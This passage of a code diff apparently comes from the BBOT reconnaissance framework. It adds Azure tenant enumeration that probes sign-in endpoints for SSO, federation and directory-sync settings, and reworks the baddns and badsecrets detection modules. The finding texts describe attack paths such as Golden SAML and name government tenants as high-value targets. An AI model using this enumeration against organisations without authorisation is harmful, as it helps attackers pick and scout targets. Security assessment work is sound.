+                self.debug(f"No response from GetCredentialType for directory sync check on {onmicrosoft_domain}")
+                return {}
+
+            status_code = getattr(r, "status_code", 0)
+            if status_code != 200:
+                self.debug(f"GetCredentialType returned status {status_code} for directory sync check")
+                return {}
+
+            data = r.json()
+            if not data or not isinstance(data, dict):
+                return {}
+
+            # If IfExistsResult is 0, the sync account exists
+            if_exists_result = data.get("IfExistsResult")
+            if if_exists_result == 0:
+                return {"directory-sync-enabled": True}
+
+            return {}
+
+        except Exception as e:
+            self.debug(f"Error checking directory sync for {onmicrosoft_domain}: {e}")
+            return {}
+
+    def merge_tenant_data(
+        self, query, tenant_data, odc_data, openid_data, getcred_data, userrealm_data, mtasts_data, sync_data
+    ):
+        """Merge data from all sources into single comprehensive event."""
+
+        # Start with azmap.dev data (backward compatibility)
+        tenant_names = []
+        tenant_name = tenant_data.get("tenant_name")
+        if tenant_name:
+            tenant_names.append(tenant_name)
+
+        # Extract tenant names from .onmicrosoft.com domains
+        email_domains = tenant_data.get("email_domains", [])
+        for domain in email_domains:
+            if domain.lower().endswith(".onmicrosoft.com"):
+                tenantname = domain.split(".")[0].lower()
+                if tenantname and tenantname not in tenant_names:
+                    tenant_names.append(tenantname)
+
+        merged = {"tenant-names": tenant_names, "domains": sorted(email_domains)}
+
+        # Tenant ID: prefer ODC, fallback to azmap.dev
+        tenant_id = odc_data.get("tenant-id") or tenant_data.get("tenant_id")
+        if tenant_id:
+            merged["tenant-id"] = tenant_id
+
+        # Federation brand name from ODC
+        if odc_data.get("federation-brand-name"):
+            merged["federation-brand-name"] = odc_data["federation-brand-name"]
+
+        # OpenID configuration data
+        if openid_data.get("tenant-region"):
+            merged["tenant-region"] = openid_data["tenant-region"]
+        if openid_data.get("tenant-region-sub") is not None:
+            merged["tenant-region-sub"] = openid_data["tenant-region-sub"]
+        if openid_data.get("cloud-instance"):
+            merged["cloud-instance"] = openid_data["cloud-instance"]
+        if openid_data:
+            merged["cloud-type"] = self._derive_cloud_type(openid_data)
+
+        # GetCredentialType data
+        if getcred_data:
+            if getcred_data.get("desktop-sso-enabled") is not None:
+                merged["desktop-sso-enabled"] = getcred_data["desktop-sso-enabled"]
+            if getcred_data.get("certificate-auth-enabled") is not None:
+                merged["certificate-auth-enabled"] = getcred_data["certificate-auth-enabled"]
+            if getcred_data.get("domain-type") is not None:
+                merged["domain-type"] = getcred_data["domain-type"]
+            if getcred_data.get("federation-redirect-url"):
+                merged["federation-redirect-url"] = getcred_data["federation-redirect-url"]
+
+        # UserRealm v2.0 data
+        if userrealm_data:
+            if userrealm_data.get("account-type"):
+                merged["account-type"] = userrealm_data["account-type"]
+            if userrealm_data.get("tenant-branding"):
+                merged["tenant-branding"] = userrealm_data["tenant-branding"]
+
+        # MTA-STS data
+        if mtasts_data.get("exchange-online") is not None:
+            merged["exchange-online"] = mtasts_data["exchange-online"]
+        if mtasts_data.get("mta-sts-mode"):
+            merged["mta-sts-mode"] = mtasts_data["mta-sts-mode"]
+
+        # Directory sync data
+        if sync_data and sync_data.get("directory-sync-enabled"):
+            merged["directory-sync-enabled"] = True
+
+        return merged
+
+    async def emit_discovered_domains(self, event, tenant_data, query):
+        """Emit DNS_NAME events for discovered domains (existing functionality)."""
+        email_domains = tenant_data.get("email_domains", [])
+        if email_domains:
+            self.verbose(
+                f'Found {len(email_domains):,} domains under tenant for "{query}": {", ".join(sorted(email_domains))}'
+            )
+            for domain in email_domains:
+                if domain != query:
+                    await self.emit_event(
+                        domain,
+                        "DNS_NAME",
+                        parent=event,
+                        tags=["affiliate", "azure-tenant"],
+                        context=f'{{module}} queried azmap.dev for "{query}" and found {{event.type}}: {{event.pretty_string}}',
+                    )
+
+    async def emit_findings(self, event, domain, tenant_data):
+        """Emit FINDING events for notable security-relevant discoveries."""
+
+        # Desktop SSO
+        if tenant_data.get("desktop-sso-enabled"):
+            await self.emit_event(
+                {
+                    "host": domain,
+                    "name": "Azure AD Desktop SSO Enabled",
+                    "description": f"Azure AD Desktop SSO (Seamless SSO) is enabled for {domain}, indicating pass-through authentication or password hash sync from on-premises Active Directory. This reveals hybrid infrastructure where compromising the on-premises environment could provide a pivot point into Azure AD.",
+                    "severity": "INFO",
+                    "confidence": "MEDIUM",
+                },
+                "FINDING",
+                parent=event,
+                tags=["azure-sso"],
+            )
+
+        # Certificate-based Auth
+        if tenant_data.get("certificate-auth-enabled"):
+            await self.emit_event(
+                {
+                    "host": domain,
+                    "name": "Certificate-Based Authentication Enabled",
+                    "description": f"Certificate-based authentication is enabled for {domain}. This provides an alternative authentication vector where stolen or compromised certificates can be used for access, potentially bypassing MFA and password-based security controls.",
+                    "severity": "INFO",
+                    "confidence": "HIGH",
+                },
+                "FINDING",
+                parent=event,
+                tags=["azure-cba"],
+            )
+
+        # Government Cloud
+        cloud_type = tenant_data.get("cloud-type")
+        if cloud_type in ["gcc-high", "dod"]:
+            await self.emit_event(
+                {
+                    "host": domain,
+                    "name": "Azure Government Cloud Tenant",
+                    "description": f"{domain} is hosted on Azure Government Cloud ({cloud_type}), indicating a high-value target that likely handles sensitive government data, classified information, or critical infrastructure systems.",
+                    "severity": "INFO",
+                    "confidence": "HIGH",
+                },
+                "FINDING",
+                parent=event,
+                tags=["azure-gov-cloud"],
+            )
+
+        # Directory Sync
+        if tenant_data.get("directory-sync-enabled"):
+            await self.emit_event(
+                {
+                    "host": domain,
+                    "name": "Directory Synchronization Enabled",
+                    "description": f"Directory synchronization (Azure AD Connect or Cloud Sync) is enabled for {domain}, indicating hybrid identity infrastructure. Compromising the on-premises Active Directory would allow an attacker to sync malicious changes to Azure AD, including creating backdoor accounts.",
+                    "severity": "INFO",
+                    "confidence": "HIGH",
+                },
+                "FINDING",
+                parent=event,
+                tags=["azure-dir-sync"],
+            )
+
+        # Federated Domain
+        fed_url = tenant_data.get("federation-redirect-url")
+        if fed_url:
+            await self.emit_event(
+                {
+                    "host": domain,
+                    "url": fed_url,
+                    "full_url": fed_url,  # Preserve full URL with query string
+                    "name": "Federated Authentication Detected",
+                    "description": f"{domain} uses federated authentication with an external identity provider at {fed_url}. Compromising the federated IdP would grant access to Azure AD, and misconfigurations in the federation trust can be exploited (e.g., Golden SAML attacks).",
+                    "severity": "INFO",
+                    "confidence": "HIGH",
+                },
+                "FINDING",
+                parent=event,
+                tags=["azure-federated"],
+            )
+            # Also emit URL for further enumeration (ms-auth-url tag triggers oauth module OIDC check)
+            fed_url_event = self.make_event(
+                fed_url,
+                "URL_UNVERIFIED",
+                parent=event,
+                tags=["affiliate", "ms-auth-url"],
+            )
+            if fed_url_event:
+                await self.emit_event(fed_url_event)
+
+    def _derive_cloud_type(self, openid_data):
+        """Derive cloud type from OpenID configuration data."""
+        sub_scope = openid_data.get("tenant-region-sub")
+
+        if sub_scope is None:
+            return "commercial"
+        elif sub_scope == "DOD":
+            return "dod"
+        elif sub_scope == "DODCON":
+            return "gcc-high"
+        else:
+            return "government"
+
+    def _get_onmicrosoft_domain(self, tenant_data):
+        """Extract the .onmicrosoft.com domain from tenant data."""
+        email_domains = tenant_data.get("email_domains", [])
+        for domain in email_domains:
+            if domain.lower().endswith(".onmicrosoft.com"):
+                return domain
+        return None
diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py
index 7e91cddee6..ddc86ab3a4 100644
--- a/bbot/modules/baddns.py
+++ b/bbot/modules/baddns.py
@@ -2,27 +2,65 @@
 from baddns.lib.loader import load_signatures
 from .base import BaseModule
 
-import asyncio
 import logging
+from pydantic import Field
+from bbot.core.config.models import BaseModuleConfig, SeverityLiteral, ConfidenceLiteral
+
+SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
+CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED")
+
+SUBMODULE_MAX_SEVERITY = {
+    "CNAME": "MEDIUM",
+    "NS": "MEDIUM",
+    "MX": "MEDIUM",
+    "TXT": "LOW",
+    "references": "MEDIUM",
+    "NSEC": "INFO",
+    "zonetransfer": "INFO",
+    "DMARC": "INFO",
+    "SPF": "MEDIUM",
+    "MTA-STS": "HIGH",
+    "WILDCARD": "HIGH",
+}
+
+SUBMODULE_MAX_CONFIDENCE = {
+    "CNAME": "CONFIRMED",
+    "NS": "HIGH",
+    "MX": "CONFIRMED",
+    "TXT": "CONFIRMED",
+    "references": "CONFIRMED",
+    "NSEC": "CONFIRMED",
+    "zonetransfer": "CONFIRMED",
+    "DMARC": "CONFIRMED",
+    "SPF": "CONFIRMED",
+    "MTA-STS": "CONFIRMED",
+    "WILDCARD": "CONFIRMED",
+}
 
 
 class baddns(BaseModule):
     watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"]
-    produced_events = ["FINDING", "VULNERABILITY"]
-    flags = ["active", "safe", "web-basic", "baddns", "cloud-enum", "subdomain-hijack"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "active", "web", "baddns", "cloud-enum", "subdomain-hijack"]
     meta = {
         "description": "Check hosts for domain/subdomain takeovers",
         "created_date": "2024-01-18",
         "author": "@liquidsec",
     }
-    options = {"custom_nameservers": [], "only_high_confidence": False, "enabled_submodules": []}
-    options_desc = {
-        "custom_nameservers": "Force BadDNS to use a list of custom nameservers",
-        "only_high_confidence": "Do not emit low-confidence or generic detections",
-        "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only",
-    }
+
+    class Config(BaseModuleConfig):
+        custom_nameservers: list[str] = Field(
+            default_factory=list, description="Force BadDNS to use a list of custom nameservers"
+        )
+        min_severity: SeverityLiteral = Field("LOW", description="Minimum severity to emit")
+        min_confidence: ConfidenceLiteral = Field("MEDIUM", description="Minimum confidence to emit")
+        enabled_submodules: list[str] = Field(
+            default_factory=list,
+            description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only",
+        )
+
     module_threads = 8
-    deps_pip = ["baddns~=1.12.294"]
+    deps_pip = ["baddns~=2.4.0"]
 
     def select_modules(self):
         selected_submodules = []
@@ -36,14 +74,49 @@ def set_modules(self):
         if self.enabled_submodules == []:
             self.enabled_submodules = ["CNAME", "MX", "TXT"]
 
+    def _filter_submodules(self):
+        filtered = []
+        for name in self.enabled_submodules:
+            max_sev = SUBMODULE_MAX_SEVERITY.get(name)
+            max_conf = SUBMODULE_MAX_CONFIDENCE.get(name)
+            if max_sev is None or max_conf is None:
+                filtered.append(name)
+                continue
+            sev_idx = SEVERITY_LEVELS.index(max_sev) if max_sev in SEVERITY_LEVELS else 0
+            conf_idx = CONFIDENCE_LEVELS.index(max_conf) if max_conf in CONFIDENCE_LEVELS else 0
+            if sev_idx < self._min_sev_idx or conf_idx < self._min_conf_idx:
+                self.verbose(
+                    f"Auto-disabling submodule [{name}]: max_severity={max_sev}, max_confidence={max_conf} below configured thresholds"
+                )
+            else:
+                filtered.append(name)
+        return filtered
+
+    def _meets_threshold(self, severity, confidence):
+        sev_idx = SEVERITY_LEVELS.index(severity) if severity in SEVERITY_LEVELS else 0
+        conf_idx = CONFIDENCE_LEVELS.index(confidence) if confidence in CONFIDENCE_LEVELS else 0
+        return sev_idx >= self._min_sev_idx and conf_idx >= self._min_conf_idx
+
     async def setup(self):
         self.preset.core.logger.include_logger(logging.getLogger("baddns"))
         self.custom_nameservers = self.config.get("custom_nameservers", []) or None
         if self.custom_nameservers:
             self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers)
-        self.only_high_confidence = self.config.get("only_high_confidence", False)
+        min_severity = self.config.get("min_severity").upper()
+        min_confidence = self.config.get("min_confidence").upper()
+        # guard the unvalidated programmatic path (Scanner(config=...) skips validation)
+        if min_severity not in SEVERITY_LEVELS:
+            return False, f"Invalid min_severity {min_severity!r}; must be one of {', '.join(SEVERITY_LEVELS)}"
+        if min_confidence not in CONFIDENCE_LEVELS:
+            return False, f"Invalid min_confidence {min_confidence!r}; must be one of {', '.join(CONFIDENCE_LEVELS)}"
+        self._min_sev_idx = SEVERITY_LEVELS.index(min_severity)
+        self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence)
         self.signatures = load_signatures()
         self.set_modules()
+        self.enabled_submodules = self._filter_submodules()
+        if not self.enabled_submodules:
+            self.warning("All submodules were disabled by severity/confidence thresholds")
+            return False
         all_submodules_list = [m.name for m in get_all_modules()]
         for m in self.enabled_submodules:
             if m not in all_submodules_list:
@@ -54,12 +127,21 @@ async def setup(self):
         self.debug(f"Enabled BadDNS Submodules: [{','.join(self.enabled_submodules)}]")
         return True
 
+    async def _run_module(self, module_instance):
+        """Wrapper coroutine that runs a module and returns both the module and result"""
+        try:
+            result = await module_instance.dispatch()
+            return module_instance, result
+        except Exception as e:
+            self.warning(f"Task for {module_instance} raised an error: {e}")
+            return module_instance, None
+
     async def handle_event(self, event):
-        tasks = []
+        coroutines = []
         for ModuleClass in self.select_modules():
             kwargs = {
-                "http_client_class": self.scan.helpers.web.AsyncClient,
-                "dns_client": self.scan.helpers.dns.resolver,
+                "http_client": self.helpers.blasthttp,
+                "dns_client": self.scan.helpers.dns.blastdns,
                 "custom_nameservers": self.custom_nameservers,
                 "signatures": self.signatures,
             }
@@ -70,16 +152,16 @@ async def handle_event(self, event):
                 kwargs["raw_query_retry_wait"] = 0
 
             module_instance = ModuleClass(event.data, **kwargs)
-            task = asyncio.create_task(module_instance.dispatch())
-            tasks.append((module_instance, task))
+            # Create wrapper coroutine that includes the module instance
+            coroutine = self._run_module(module_instance)
+            coroutines.append(coroutine)
 
-        async for completed_task in self.helpers.as_completed([task for _, task in tasks]):
-            module_instance = next((m for m, t in tasks if t == completed_task), None)
+        async for completed_coro in self.helpers.as_completed(coroutines):
             try:
-                task_result = await completed_task
+                module_instance, task_result = await completed_coro
             except Exception as e:
-                self.warning(f"Task for {module_instance} raised an error: {e}")
-                task_result = None
+                self.warning(f"Wrapper coroutine raised an error: {e}")
+                continue
 
             if task_result:
                 results = module_instance.analyze()
@@ -88,41 +170,28 @@ async def handle_event(self, event):
                         r_dict = r.to_dict()
 
                         confidence = r_dict["confidence"]
+                        severity = r_dict["severity"]
 
-                        if confidence in ["CONFIRMED", "PROBABLE"]:
-                            data = {
-                                "severity": "MEDIUM",
-                                "description": f"{r_dict['description']}. Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]",
-                                "host": str(event.host),
-                            }
-                            await self.emit_event(
-                                data,
-                                "VULNERABILITY",
-                                event,
-                                tags=[f"baddns-{module_instance.name.lower()}"],
-                                context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}',
+                        if not self._meets_threshold(severity, confidence):
+                            self.debug(
+                                f"Skipping result below threshold (severity={severity}, confidence={confidence})"
                             )
-
-                        elif confidence in ["UNLIKELY", "POSSIBLE"]:
-                            if not self.only_high_confidence:
-                                data = {
-                                    "description": f"{r_dict['description']} Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]",
-                                    "host": str(event.host),
-                                }
-                                await self.emit_event(
-                                    data,
-                                    "FINDING",
-                                    event,
-                                    tags=[f"baddns-{module_instance.name.lower()}"],
-                                    context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}',
-                                )
-                            else:
-                                self.debug(
-                                    f"Skipping low-confidence result due to only_high_confidence setting: {confidence}"
-                                )
-
-                        else:
-                            self.warning(f"Got unrecognized confidence level: {confidence}")
+                            continue
+
+                        data = {
+                            "severity": severity,
+                            "name": f"BadDNS {r_dict['signature']}",
+                            "confidence": confidence,
+                            "description": f"{r_dict['description']}. Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]",
+                            "host": str(event.host),
+                        }
+                        await self.emit_event(
+                            data,
+                            "FINDING",
+                            event,
+                            tags=[f"baddns-{module_instance.name.lower()}"],
+                            context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}',
+                        )
 
                         found_domains = r_dict.get("found_domains", None)
                         if found_domains:
@@ -132,6 +201,6 @@ async def handle_event(self, event):
                                     "DNS_NAME",
                                     event,
                                     tags=[f"baddns-{module_instance.name.lower()}"],
-                                    context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.data}}',
+                                    context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.pretty_string}}',
                                 )
-                await module_instance.cleanup()
+            await module_instance.cleanup()
diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py
index 23fd9882c5..584d3f7763 100644
--- a/bbot/modules/baddns_direct.py
+++ b/bbot/modules/baddns_direct.py
@@ -1,49 +1,39 @@
-from baddns.base import get_all_modules
-from baddns.lib.loader import load_signatures
-from .base import BaseModule
+from .baddns import baddns as baddns_module
+from bbot.core.config.models import BaseModuleConfig, Field, SeverityLiteral, ConfidenceLiteral
 
-import logging
 
-
-class baddns_direct(BaseModule):
+class baddns_direct(baddns_module):
     watched_events = ["URL", "STORAGE_BUCKET"]
-    produced_events = ["FINDING", "VULNERABILITY"]
-    flags = ["active", "safe", "subdomain-enum", "baddns", "cloud-enum"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "active", "subdomain-enum", "baddns", "cloud-enum"]
     meta = {
         "description": "Check for unusual subdomain / service takeover edge cases that require direct detection",
         "created_date": "2024-01-29",
         "author": "@liquidsec",
     }
-    options = {"custom_nameservers": []}
-    options_desc = {
-        "custom_nameservers": "Force BadDNS to use a list of custom nameservers",
-    }
+
+    class Config(BaseModuleConfig):
+        custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers")
+        min_severity: SeverityLiteral = Field(
+            "LOW", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)"
+        )
+        min_confidence: ConfidenceLiteral = Field(
+            "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)"
+        )
+
     module_threads = 8
-    deps_pip = ["baddns~=1.12.294"]
+    deps_pip = ["baddns~=2.4.0"]
 
     scope_distance_modifier = 1
 
-    async def setup(self):
-        self.preset.core.logger.include_logger(logging.getLogger("baddns"))
-        self.custom_nameservers = self.config.get("custom_nameservers", []) or None
-        if self.custom_nameservers:
-            self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers)
-        self.only_high_confidence = self.config.get("only_high_confidence", False)
-        self.signatures = load_signatures()
-        return True
-
-    def select_modules(self):
-        selected_modules = []
-        for m in get_all_modules():
-            if m.name in ["CNAME"]:
-                selected_modules.append(m)
-        return selected_modules
+    def set_modules(self):
+        self.enabled_submodules = ["CNAME"]
 
     async def handle_event(self, event):
         CNAME_direct_module = self.select_modules()[0]
         kwargs = {
-            "http_client_class": self.scan.helpers.web.AsyncClient,
-            "dns_client": self.scan.helpers.dns.resolver,
+            "http_client": self.helpers.blasthttp,
+            "dns_client": self.scan.helpers.dns.blastdns,
             "custom_nameservers": self.custom_nameservers,
             "signatures": self.signatures,
             "direct_mode": True,
@@ -56,9 +46,19 @@ async def handle_event(self, event):
                 for r in results:
                     r_dict = r.to_dict()
 
+                    severity = r_dict["severity"]
+                    confidence = r_dict["confidence"]
+
+                    if not self._meets_threshold(severity, confidence):
+                        self.debug(f"Skipping result below threshold (severity={severity}, confidence={confidence})")
+                        continue
+
                     data = {
+                        "name": f"BadDNS {r_dict['signature']}",
                         "description": f"Possible [{r_dict['signature']}] via direct BadDNS analysis. Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]",
                         "host": str(event.host),
+                        "severity": severity,
+                        "confidence": confidence,
                     }
 
                     await self.emit_event(
@@ -81,8 +81,8 @@ async def filter_event(self, event):
                     f"Rejecting {event.host} due to not being in scope (scope distance: {event.scope_distance})"
                 )
                 return False
-            if "cdn-cloudflare" not in event.tags:
-                self.debug(f"Rejecting {event.host} due to not being behind CloudFlare")
+            if "cloudflare" not in event.tags:
+                self.debug(f"Rejecting {event.host} due to not being behind Cloudflare")
                 return False
             if "status-200" in event.tags or "status-301" in event.tags:
                 self.debug(f"Rejecting {event.host} due to lack of non-standard status code")
diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py
index 6ee7662307..9277be5e1e 100644
--- a/bbot/modules/baddns_zone.py
+++ b/bbot/modules/baddns_zone.py
@@ -1,22 +1,28 @@
 from .baddns import baddns as baddns_module
+from bbot.core.config.models import BaseModuleConfig, Field, SeverityLiteral, ConfidenceLiteral
 
 
 class baddns_zone(baddns_module):
     watched_events = ["DNS_NAME"]
-    produced_events = ["FINDING", "VULNERABILITY"]
-    flags = ["active", "safe", "subdomain-enum", "baddns", "cloud-enum"]
+    produced_events = ["FINDING"]
+    flags = ["safe", "active", "subdomain-enum", "baddns", "cloud-enum"]
     meta = {
         "description": "Check hosts for DNS zone transfers and NSEC walks",
         "created_date": "2024-01-29",
         "author": "@liquidsec",
     }
-    options = {"custom_nameservers": [], "only_high_confidence": False}
-    options_desc = {
-        "custom_nameservers": "Force BadDNS to use a list of custom nameservers",
-        "only_high_confidence": "Do not emit low-confidence or generic detections",
-    }
+
+    class Config(BaseModuleConfig):
+        custom_nameservers: list = Field([], description="Force BadDNS to use a list of custom nameservers")
+        min_severity: SeverityLiteral = Field(
+            "INFO", description="Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)"
+        )
+        min_confidence: ConfidenceLiteral = Field(
+            "MEDIUM", description="Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)"
+        )
+
     module_threads = 8
-    deps_pip = ["baddns~=1.12.294"]
+    deps_pip = ["baddns~=2.4.0"]
 
     def set_modules(self):
         self.enabled_submodules = ["NSEC", "zonetransfer"]
diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py
index 1d748f3741..4010573f83 100644
--- a/bbot/modules/badsecrets.py
+++ b/bbot/modules/badsecrets.py
@@ -2,22 +2,24 @@
 from pathlib import Path
 from .base import BaseModule
 from badsecrets.base import carve_all_modules
+from bbot.core.config.models import BaseModuleConfig, Field
+from typing import Optional
 
 
 class badsecrets(BaseModule):
     watched_events = ["HTTP_RESPONSE"]
-    produced_events = ["FINDING", "VULNERABILITY", "TECHNOLOGY"]
-    flags = ["active", "safe", "web-basic"]
+    produced_events = ["FINDING", "TECHNOLOGY"]
+    flags = ["safe", "active", "web"]
     meta = {
         "description": "Library for detecting known or weak secrets across many web frameworks",
         "created_date": "2022-11-19",
         "author": "@liquidsec",
     }
-    options = {"custom_secrets": None}
-    options_desc = {
-        "custom_secrets": "Include custom secrets loaded from a local file",
-    }
-    deps_pip = ["badsecrets~=1.0.170"]
+
+    class Config(BaseModuleConfig):
+        custom_secrets: Optional[str] = Field(None, description="Include custom secrets loaded from a local file")
+
+    deps_pip = ["badsecrets~=1.2.1"]
 
     async def setup(self):
         self.custom_secrets = None
@@ -34,10 +36,10 @@ async def setup(self):
 
     @property
     def _module_threads(self):
-        return max(1, multiprocessing.cpu_count() - 1)
+        return min(4, max(1, multiprocessing.cpu_count() - 1))
 
     async def handle_event(self, event):
-        resp_body = event.data.get("body", None)
+        resp_body = event.body
         resp_headers = event.data.get("header", None)
         resp_cookies = {}
         if resp_headers:
@@ -58,7 +60,7 @@ async def handle_event(self, event):
                     body=resp_body,
                     headers=resp_headers,
                     cookies=resp_cookies,
-                    url=event.data.get("url", None),
+                    url=event.url or None,
                     custom_resource=self.custom_secrets,
                 )
             except Exception as e:
@@ -69,32 +71,40 @@ async def handle_event(self, event):
                     if r["type"] == "SecretFound":
                         data = {
                             "severity": r["description"]["severity"],
+                            "name": "BadSecrets - Known Secret",
                             "description": f"Known Secret Found. Secret Type: [{r['description']['secret']}] Secret: [{r['secret']}] Product Type: [{r['description']['product']}] Product: [{self.helpers.truncate_string(r['product'], 2000)}] Detecting Module: [{r['detecting_module']}] Details: [{r['details']}]",
-                            "url": event.data["url"],
+                            "url": event.url,
                             "host": str(event.host),
+                            "confidence": "CONFIRMED",
                         }
                         await self.emit_event(
                             data,
-                            "VULNERABILITY",
+                            "FINDING",
                             event,
                             context=f'{{module}}\'s "{r["detecting_module"]}" module found known {r["description"]["product"]} secret ({{event.type}}): "{r["secret"]}"',
                         )
                     elif r["type"] == "IdentifyOnly":
+                        # Excavate's JWTExtractor submodule already emits findings for JWT existence.
+                        # Only vulnerable (SecretFound) JWT results are worth emitting from badsecrets.
                         if r["detecting_module"] == "Generic_JWT":
                             continue
+                        # There is little value to presenting a non-vulnerable asp.net viewstate/resource, as it is not crackable without a Matrioshka brain. Just emit a technology instead.
                         if r["detecting_module"] in ("ASPNET_Viewstate", "ASPNET_Resource"):
                             technology = "microsoft asp.net"
                             await self.emit_event(
-                                {"technology": technology, "url": event.data["url"], "host": str(event.host)},
+                                {"technology": technology, "url": event.url, "host": str(event.host)},
                                 "TECHNOLOGY",
                                 event,
                                 context=f"{{module}} identified {{event.type}}: {technology}",
                             )
                         else:
                             data = {
+                                "name": "BadSecrets - Cryptographic Product",
                                 "description": f"Cryptographic Product identified. Product Type: [{r['description']['product']}] Product: [{self.helpers.truncate_string(r['product'], 2000)}] Detecting Module: [{r['detecting_module']}]",
-                                "url": event.data["url"],
+                                "url": event.url,
                                 "host": str(event.host),
+                                "severity": "INFO",
+                                "confidence": "CONFIRMED",
                             }
                             await self.emit_event(
                                 data,
diff --git a/bbot/modules/base.py b/bbot/modules/base.py
index eafc193277..4b911f3d89 100644
--- a/bbot/modules/base.py
+++ b/bbot/modules/base.py
@@ -18,9 +18,9 @@ class BaseModule:
 
         produced_events (List): Event types to produce.
 
-        meta (Dict): Metadata about the module, such as whether authentication is required and a description.
+        meta (Dict): Metadata about the module — description, author, created_date, etc.
 
-        flags (List): Flags indicating the type of module (must have at least "safe" or "aggressive" and "passive" or "active").
+        flags (List): Flags indicating the type of module (must have at least "passive" or "active").
 
         deps_modules (List): Other BBOT modules this module depends on. Empty list by default.
 
@@ -52,6 +52,9 @@ class BaseModule:
 
         target_only (bool): Accept only the initial target event(s). Default is False.
 
+        accept_seeds (bool): Accept seed events (events from initial scan seeds).
+            Defaults to True for passive modules, False otherwise. Can be explicitly set to override the default.
+
         in_scope_only (bool): Accept only explicitly in-scope events, regardless of the scan's search distance. Default is False.
 
         accept_url_special (bool): Accept "special" URLs not typically distributed to web modules, e.g. JS URLs. Default is False.
@@ -70,7 +73,7 @@ class BaseModule:
 
         _stats_exclude (bool): Whether to exclude this module from scan statistics. Default is False.
 
-        _disable_auto_module_deps (bool): Whether to disable automatic module dependencies. This is useful e.g. if the module consumes URLs, but you don't want to automatically enable the httpx module. Default is False.
+        _disable_auto_module_deps (bool): Whether to disable automatic module dependencies. This is useful e.g. if the module consumes URLs, but you don't want to automatically enable the blasthttp module. Default is False.
 
         _qsize (int): Outgoing queue size (0 for infinite). Default is 0.
 
@@ -83,7 +86,7 @@ class BaseModule:
 
     watched_events = []
     produced_events = []
-    meta = {"auth_required": False, "description": "Base module"}
+    meta = {"description": "Base module"}
     flags = []
     options = {}
     options_desc = {}
@@ -103,6 +106,7 @@ class BaseModule:
     target_only = False
     in_scope_only = False
     accept_url_special = False
+    _avoid_duplicate_content = False
     _module_threads = 1
     _batch_size = 1
 
@@ -111,7 +115,7 @@ class BaseModule:
     # whether to retry on 429s when first pinging the API at scan start
     _ping_retry_on_http_429 = False
 
-    default_discovery_context = "{module} discovered {event.type}: {event.data}"
+    default_discovery_context = "{module} discovered {event.type}: {event.pretty_string}"
 
     _preserve_graph = False
     _stats_exclude = False
@@ -141,6 +145,7 @@ def __init__(self, scan):
         self._outgoing_event_queue = None
         # track incoming events to prevent unwanted duplicates
         self._incoming_dup_tracker = set()
+        self._content_dup_tracker = set()
         # tracks which subprocesses are running under this module
         self._proc_tracker = set()
         # seconds since we've submitted a batch
@@ -491,6 +496,9 @@ async def _handle_batch(self):
                     await self.run_task(self.handle_batch(*events), context, n=len(events))
                 except asyncio.CancelledError:
                     self.debug(f"{context} was cancelled")
+                finally:
+                    for event in events:
+                        event._minimize()
                 self.verbose(f"Finished handling batch of {len(events):,} events")
         if finish:
             context = f"{self.name}.finish()"
@@ -655,16 +663,19 @@ async def _events_waiting(self, batch_size=None):
                 break
             try:
                 event = self.incoming_event_queue.get_nowait()
-                self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}")
-                acceptable, reason = await self._event_postcheck(event)
+                async with self._task_counter.count(f"event_postcheck({event})"):
+                    acceptable, reason = await self._event_postcheck(event)
                 if acceptable:
                     if event.type == "FINISHED":
                         finish = True
+                        event._minimize()
                     else:
                         events.append(event)
                         self.scan.stats.event_consumed(event, self)
-                elif reason:
-                    self.debug(f"Not accepting {event} because {reason}")
+                else:
+                    event._minimize()
+                    if reason:
+                        self.debug(f"Not accepting {event} because {reason}")
             except asyncio.queues.QueueEmpty:
                 break
         return events, finish
@@ -738,8 +749,8 @@ async def _worker(self):
             - Each event is subject to a post-check via '_event_postcheck()' to decide whether it should be handled.
             - Special 'FINISHED' events trigger the 'finish()' method of the module.
         """
-        async with self.scan._acatch(context=self._worker, unhandled_is_critical=True):
-            try:
+        try:
+            async with self.scan._acatch(context=self._worker, unhandled_is_critical=True):
                 while not self.scan.stopping and not self.errored:
                     # if batch wasn't big enough, we wait for the next event before continuing
                     if self.batch_size > 1:
@@ -757,41 +768,52 @@ async def _worker(self):
                                 break
                         except asyncio.queues.QueueEmpty:
                             continue
-                        self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}")
